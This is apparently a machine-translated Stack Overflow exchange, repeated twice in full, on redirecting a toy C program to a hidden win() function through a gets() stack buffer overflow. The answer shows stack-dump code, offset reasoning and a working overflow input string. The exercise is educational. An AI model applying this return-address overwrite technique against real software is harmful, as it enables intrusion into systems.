试图调用带有缓冲区溢出的隐藏函数
Trying to call a hidden function with a buffer overflow
所以我正在尝试对此代码执行基于堆栈的缓冲区溢出:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("well done!");
}
void vulnfunc(){
char buffer[36];
gets(buffer);
printf("Buffer contents are %s\n",buffer);
}
int main(int argc,char**argv){
vulnfunc();
}
所以我用 44 字节(缓冲区的 36 字节和额外的 8 字节)覆盖了 EIP。然后我得到函数 win 的地址,把它从 0x53e58955
改成合适的
\x55\x89\xe5\x53
当我将两个字符串连接在一起作为输入时,它仍然没有调用 win()
函数。我试过添加 "BBBB"
作为填充来填充 ebp 但也没有运气。如果有人能提供一些建议,我将不胜感激。
运行 Ubuntu,x86_64
我在 Windows 上复制了 漏洞利用 。由于系统和控制台可能不同,我将解释过程而不是原始代码。出于这个原因,它不会是 复制粘贴 解决方案,而是 copy-the-procedure-to-get-a-similar-result解决方案。
首先,我想找出堆栈结构。所以我执行了以下修改 vulnfunc()
:
void vulnfunc(){
char buffer[36];
printf("win(): 0x%p\n", win);
printf("vulnfunc(): 0x%p\n", vulnfunc);
printf("main(): 0x%p\n", main);
printf("printf(): 0x%p\n", printf);
printf( "0x%08X %08X %08X %08X\n",
(int) *((int*)&buffer[36]), (int) *((int*)&buffer[40]),
(int) *((int*)&buffer[44]), (int) *((int*)&buffer[48]));
printf( "0x%08X %08X %08X %08X\n",
(int) *((int*)&buffer[52]), (int) *((int*)&buffer[56]),
(int) *((int*)&buffer[60]), (int) *((int*)&buffer[64]) );
printf( "0x%08X %08X %08X %08X\n",
(int) *((int*)&buffer[68]), (int) *((int*)&buffer[72]),
(int) *((int*)&buffer[76]), (int) *((int*)&buffer[80]) );
gets(buffer);
}
如您所见,我打印了 win()
地址以及所有其他相关函数,包括 main
和 printf
。然后,我打印了堆栈的相关部分(48 字节)after 缓冲区 array
.
我得到以下输出:
win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000
函数的地址很有用,因为我需要的是 main()
内的 return 地址(地址 0x00000000004016D9
)。候选人当然是004016F2
.
所以,我需要的是通过gets()
插入足够的字符,以便到达所需的地址。我们恰好需要插入 24 个字符,即 从字节 21 到字节 24 超出 buffer
数组末尾的那些包含地址的字符。它们前面的 20 个字节的值并不重要,所以我插入随机 ASCII 字符。
结果是预期的:
win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000
123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0§@
Buffer contents are 123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0@
well done!
<crash>
请注意方式:
"123456789012345678901234567890123456"
是占据数组“合法”区域的36个字符
"AAAABBBBCCCCDDDDEEEE"
是20个“padding”字符,刚好到达栈中需要的位置
- 注入的地址是
0§@
(0x30
、0x15
和0x40
),由gets()
填充的字符串终止符提供缺失的0x00
正如预期的那样,win()
函数被执行;在它之后发生崩溃,因为在从它 returning 之后,堆栈在 main()
上不包含正确的 return 地址(它已损坏)。
在 Ubuntu 上,您可能会有不同的堆栈配置,但您可以通过非常相似的方式发现如何执行所需的利用。
所以我正在尝试对此代码执行基于堆栈的缓冲区溢出:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("well done!");
}
void vulnfunc(){
char buffer[36];
gets(buffer);
printf("Buffer contents are %s\n",buffer);
}
int main(int argc,char**argv){
vulnfunc();
}
所以我用 44 字节(缓冲区的 36 字节和额外的 8 字节)覆盖了 EIP。然后我得到函数 win 的地址,把它从 0x53e58955
改成合适的
\x55\x89\xe5\x53
当我将两个字符串连接在一起作为输入时,它仍然没有调用 win()
函数。我试过添加 "BBBB"
作为填充来填充 ebp 但也没有运气。如果有人能提供一些建议,我将不胜感激。
运行 Ubuntu,x86_64
我在 Windows 上复制了 漏洞利用 。由于系统和控制台可能不同,我将解释过程而不是原始代码。出于这个原因,它不会是 复制粘贴 解决方案,而是 copy-the-procedure-to-get-a-similar-result解决方案。
首先,我想找出堆栈结构。所以我执行了以下修改 vulnfunc()
:
void vulnfunc(){
char buffer[36];
printf("win(): 0x%p\n", win);
printf("vulnfunc(): 0x%p\n", vulnfunc);
printf("main(): 0x%p\n", main);
printf("printf(): 0x%p\n", printf);
printf( "0x%08X %08X %08X %08X\n",
(int) *((int*)&buffer[36]), (int) *((int*)&buffer[40]),
(int) *((int*)&buffer[44]), (int) *((int*)&buffer[48]));
printf( "0x%08X %08X %08X %08X\n",
(int) *((int*)&buffer[52]), (int) *((int*)&buffer[56]),
(int) *((int*)&buffer[60]), (int) *((int*)&buffer[64]) );
printf( "0x%08X %08X %08X %08X\n",
(int) *((int*)&buffer[68]), (int) *((int*)&buffer[72]),
(int) *((int*)&buffer[76]), (int) *((int*)&buffer[80]) );
gets(buffer);
}
如您所见,我打印了 win()
地址以及所有其他相关函数,包括 main
和 printf
。然后,我打印了堆栈的相关部分(48 字节)after 缓冲区 array
.
我得到以下输出:
win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000
函数的地址很有用,因为我需要的是 main()
内的 return 地址(地址 0x00000000004016D9
)。候选人当然是004016F2
.
所以,我需要的是通过gets()
插入足够的字符,以便到达所需的地址。我们恰好需要插入 24 个字符,即 从字节 21 到字节 24 超出 buffer
数组末尾的那些包含地址的字符。它们前面的 20 个字节的值并不重要,所以我插入随机 ASCII 字符。
结果是预期的:
win(): 0x0000000000401530
vulnfunc(): 0x000000000040154B
main(): 0x00000000004016D9
printf(): 0x0000000000402C98
0xFFFFFFFF 00000008 00000000 0062FE20
0x00000000 004016F2 00000000 00000000
0x00000000 00000008 00000000 00000000
123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0§@
Buffer contents are 123456789012345678901234567890123456AAAABBBBCCCCDDDDEEEE0@
well done!
<crash>
请注意方式:
"123456789012345678901234567890123456"
是占据数组“合法”区域的36个字符"AAAABBBBCCCCDDDDEEEE"
是20个“padding”字符,刚好到达栈中需要的位置- 注入的地址是
0§@
(0x30
、0x15
和0x40
),由gets()
填充的字符串终止符提供缺失的0x00
正如预期的那样,win()
函数被执行;在它之后发生崩溃,因为在从它 returning 之后,堆栈在 main()
上不包含正确的 return 地址(它已损坏)。
在 Ubuntu 上,您可能会有不同的堆栈配置,但您可以通过非常相似的方式发现如何执行所需的利用。